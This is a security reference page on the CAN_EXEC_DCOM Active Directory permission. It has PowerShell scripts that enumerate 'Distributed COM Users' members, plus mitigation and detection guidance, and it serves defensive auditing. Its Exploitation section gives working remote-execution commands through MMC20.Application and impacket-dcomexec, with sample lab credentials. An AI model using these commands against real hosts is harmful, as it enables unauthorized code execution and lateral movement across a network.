CAN_EXEC_DCOM

Summary

FSProtect ACL Alias

CAN_EXEC_DCOM

Affected Object Types

Users, Groups

Exploitation Certainty

Certain

Description

The CAN_EXEC_DCOM permission in Active Directory grants an account the ability to remotely execute commands and manage processes via Distributed Component Object Model (DCOM) on domain-joined systems. This permission is essential for administrators who utilize distributed applications and COM-based services to perform remote management, automate tasks, and troubleshoot issues. To assign this permission on a specific system, the user must be added to the local Distributed COM Users group, ensuring they can initiate and manage DCOM-based communications. By leveraging the CAN_EXEC_DCOM permission, IT teams can centrally administer services, configure applications, and streamline remote workflows across a wide range of Windows-based machines.

However, if misconfigured, the CAN_EXEC_DCOM permission can lead to serious security risks. An attacker who gains unauthorized access to DCOM execution privileges may exploit it to bypass local security controls, run arbitrary code, and manipulate system components without direct physical access. Such misuse could enable lateral movement within the network, privilege escalation, and persistence through malicious COM objects. Ultimately, an improperly secured CAN_EXEC_DCOM permission can compromise the integrity of the entire Active Directory environment, allowing attackers to disrupt critical services and exfiltrate sensitive data.

Identification

PowerShell

Active Directory Module

Using the Active Directory PowerShell module, you can enumerate CAN_EXEC_DCOM entries.

1. Find-CAN_EXEC_DCOM function

function Find-CAN_EXEC_DCOM {
    [CmdletBinding()]
    param(
        [string[]]$Target = $null,
        [string]$SearchBase = $null,
        [string]$OutputPath = "CAN_EXEC_DCOM.csv",
        [int]$TimeoutSec = 6
    )
    Import-Module ActiveDirectory -ErrorAction Stop
    $computers = @()
    if ($Target) {
        Write-Host "Using provided target(s): $($Target -join ', ')"
        foreach ($t in $Target) {
            # If it's an IP or FQDN, use as-is; otherwise try to resolve via AD
            if ($t -match '^\d{1,3}(\.\d{1,3}){3}$' -or $t -like "*.*") {
                $computers += $t
            } else {
                try {
                    $adComp = Get-ADComputer -Identity $t -Properties dNSHostName -ErrorAction Stop
                    if ($adComp.dNSHostName) { $computers += $adComp.dNSHostName } else { $computers += $adComp.Name }
                } catch {
                    Write-Warning "Couldn't resolve '$t' from AD: $($_.Exception.Message). Using as provided."
                    $computers += $t
                }
            }
        }
        $computers = $computers | Sort-Object -Unique
    } else {
        Write-Host "Gathering computer objects from Active Directory..."
        try {
            $computers = if ($SearchBase) {
                Write-Host "Filtering computers under '$SearchBase'"
                Get-ADComputer -Filter * -SearchBase $SearchBase -ErrorAction Stop | Select-Object -ExpandProperty Name
            } else {
                Get-ADComputer -Filter * -ErrorAction Stop | Select-Object -ExpandProperty Name
            }
        } catch {
            Write-Error "Failed to retrieve computer objects: $($_.Exception.Message)"
            return
        }
    }
    if (-not $computers) {
        Write-Warning "No computers found; exiting."
        return
    }
    $results = New-Object System.Collections.Generic.List[object]
    Write-Host "Enumerating members of the local 'Distributed COM Users' group on $($computers.Count) computers..."
    $opt = New-CimSessionOption -Protocol Dcom
    foreach ($c in $computers) {
        try {
            $sess = New-CimSession -ComputerName $c -SessionOption $opt -OperationTimeoutSec $TimeoutSec -ErrorAction Stop
            try {
                $grp = Get-CimInstance -CimSession $sess -ClassName Win32_Group -Filter "LocalAccount=TRUE AND Name='Distributed COM Users'" -ErrorAction Stop
                if (-not $grp) {
                    Write-Warning "Distributed COM Users group not found on '$c'."
                    continue
                }
                $members = Get-CimAssociatedInstance -CimSession $sess -InputObject $grp -Association Win32_GroupUser -ErrorAction Stop
                foreach ($m in $members) {
                    $memberType = if ($m.CimClass.CimClassName -eq 'Win32_Group') { 'Group' } else { 'User' }
                    $memberName = if ($m.Domain) { "$($m.Domain)\$($m.Name)" } else { $m.Name }
                    $results.Add([PSCustomObject]@{
                        ComputerName = $c
                        MemberName   = $memberName
                        MemberType   = $memberType
                    })
                }
            }
            finally { if ($sess) { $sess | Remove-CimSession -ErrorAction SilentlyContinue } }
        } catch { Write-Warning "Unable to enumerate 'Distributed COM Users' on '$c': $($_.Exception.Message)"}
    }
    if ($results.Count -gt 0) {
        try {
            $results | Select-Object ComputerName, MemberName, MemberType | Sort-Object ComputerName, MemberType, MemberName | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop
            Write-Host "Results exported to '$OutputPath'"
        } catch { Write-Error "Failed to export to CSV: $($_.Exception.Message)" }
    } else {
        Write-Output "No 'Distributed COM Users' members found across scanned computers."
    }
}

2. Scan all computers in the domain

Find-CAN_EXEC_DCOM

3. Use SearchBase to limit the scope

Find-CAN_EXEC_DCOM -SearchBase "CN=Computers,DC=forestall,DC=labs"

.NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate CAN_EXEC_DCOM entries without relying on any external modules or dependencies.

1. Find-CAN_EXEC_DCOMSimple

function Find-CAN_EXEC_DCOMSimple {
    [CmdletBinding()]
    param([string]$Target = $null,[string]$OutputPath = "CAN_EXEC_DCOM.csv", [int]$TimeoutSec = 6)
    $computers = @()
    if ($Target) {
        Write-Verbose "Binding directly to object: $Target"
        try {
            $entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target")
            $computers = @($entry.Properties["dNSHostName"].Value)
            if (-not $computers) {$computers = @($entry.Properties["cn"].Value) }
        }  catch { Write-Error "Failed to bind to '$Target': $_" ; return  }
    }
    else {
        Write-Verbose "Binding to RootDSE..."
        try {
            $root      = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE")
            $baseDN    = $root.Properties["defaultNamingContext"].Value
            $ldapPath  = "LDAP://$baseDN"
            $searchRoot= New-Object System.DirectoryServices.DirectoryEntry($ldapPath)
            $searcher = [System.DirectoryServices.DirectorySearcher]::new($searchRoot)
            $searcher.Filter           = "(objectCategory=computer)"
            $searcher.PageSize         = 1000
            [void]$searcher.PropertiesToLoad.Add("dNSHostName")
            [void]$searcher.PropertiesToLoad.Add("cn")
            $hits = $searcher.FindAll()
            $computers = foreach ($hit in $hits) {
                $hn = $hit.Properties["dNSHostName"]
                if ($hn) { $hn } else { $hit.Properties["cn"] }
            }
        }catch { Write-Error "LDAP enumeration failed: $_" ; return}
    }
    if (-not $computers) { Write-Warning "No computers found; exiting." ; return}
    $results = New-Object System.Collections.Generic.List[object]
    Write-Host "Enumerating members of the local 'Distributed COM Users' group on $($computers.Count) computers..."
    $opt = New-CimSessionOption -Protocol Dcom
    foreach ($c in $computers) {
        try {
            $sess = New-CimSession -ComputerName $c -SessionOption $opt -OperationTimeoutSec $TimeoutSec -ErrorAction Stop
            try {
                $grp = Get-CimInstance -CimSession $sess -ClassName Win32_Group -Filter "LocalAccount=TRUE AND Name='Distributed COM Users'" -ErrorAction Stop
                if (-not $grp) {
                    Write-Warning "Distributed COM Users group not found on '$c'."
                    continue
                }
                $members = Get-CimAssociatedInstance -CimSession $sess -InputObject $grp -Association Win32_GroupUser -ErrorAction Stop
                foreach ($m in $members) {
                    $memberType = if ($m.CimClass.CimClassName -eq 'Win32_Group') { 'Group' } else { 'User' }
                    $memberName = if ($m.Domain) { "$($m.Domain)\$($m.Name)" } else { $m.Name }
                    $results.Add([PSCustomObject]@{
                        ComputerName = $c
                        MemberName   = $memberName
                        MemberType   = $memberType
                    })
                }
            }
            finally { if ($sess) { $sess | Remove-CimSession -ErrorAction SilentlyContinue } }
        } catch { Write-Warning "Unable to enumerate 'Distributed COM Users' on '$c': $($_.Exception.Message)"}
    }
    if ($results.Count -gt 0) {
        try {
            $results | Select-Object ComputerName, MemberName, MemberType | Sort-Object ComputerName, MemberType, MemberName | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop
            Write-Host "Results exported to '$OutputPath'"
        } catch { Write-Error "Failed to export to CSV: $($_.Exception.Message)" }
    } else {Write-Output "No 'Distributed COM Users' members found across scanned computers."}
}

2. Scan all domain computers

Find-CAN_EXEC_DCOMSimple

3. Scan a specific object

Find-CAN_EXEC_DCOMSimple -Target "CN=VM01,OU=workstations,DC=Forestall,DC=Labs"

Computer Management

Note: This edge cannot be identified directly with ADUC, but it can be verified via Computer Management.

1. Open Computer Management.

2. Select Action from the menu, then choose "Connect to another computer" if a different computer is required.

3. Select the desired machine to manage.

4. In the Computer Management window, navigate to Local Users and Groups.

5. Under Local Users and Groups, open Distributed COM Users with a double-click.

6. In the Members list, locate users and groups.

7. Click OK to close the dialogs.

Exploitation

To prevent false positives, validate the target host’s DCOM Component Services ACLs—specifically launch/activation and access permissions—before attempting exploitation.

Windows

Execute on target machine

$Com = [Type]::GetTypeFromProgID("MMC20.Application","<targetHost>");
$Obj = [System.Activator]::CreateInstance($Com);
$Obj.Document.ActiveView.ExecuteShellCommand("<filetorun>",$null,"<arguments>","7")

Example:

$Com = [Type]::GetTypeFromProgID("MMC20.Application","VM01.forestall.labs");
$Obj = [System.Activator]::CreateInstance($Com);
$Obj.Document.ActiveView.ExecuteShellCommand("calc.exe",$null,$null,"7")

Linux

Execute on target machine

impacket-dcomexec -object MMC20 -silentcommand <domain>/<user>:'<pass>'@<targethost> "<command>"

Example:

impacket-dcomexec -object MMC20 -silentcommand forestall.labs/adam:'Temp123!'@vm01.forestall.labs "powershell"

Mitigation

You can mitigate CAN_EXEC_DCOM with the following steps:

1. Open Active Directory Users and Computers (ADUC).

2. Right-click the computer and select Manage.

3. In the Computer Management window, navigate to Local Users and Groups.

4. Under Local Users and Groups, double-click Distributed COM Users.

5. In the Members list, locate and remove the unwanted user or group.

6. Click OK to close the dialogs.

Detection

Adding new Access Control Entries on Active Directory objects changes the ntSecurityDescriptor attribute of those objects. These changes can be detected with Event IDs 5136 and 4662 to identify potentially dangerous modifications.

Event ID
Description
Fields/Attributes
References

5136

A directory service object was modified.

ntSecurityDescriptor

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136

4662

An operation was performed on an object.

AccessList, AccessMask

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662

References

Last updated

Was this helpful?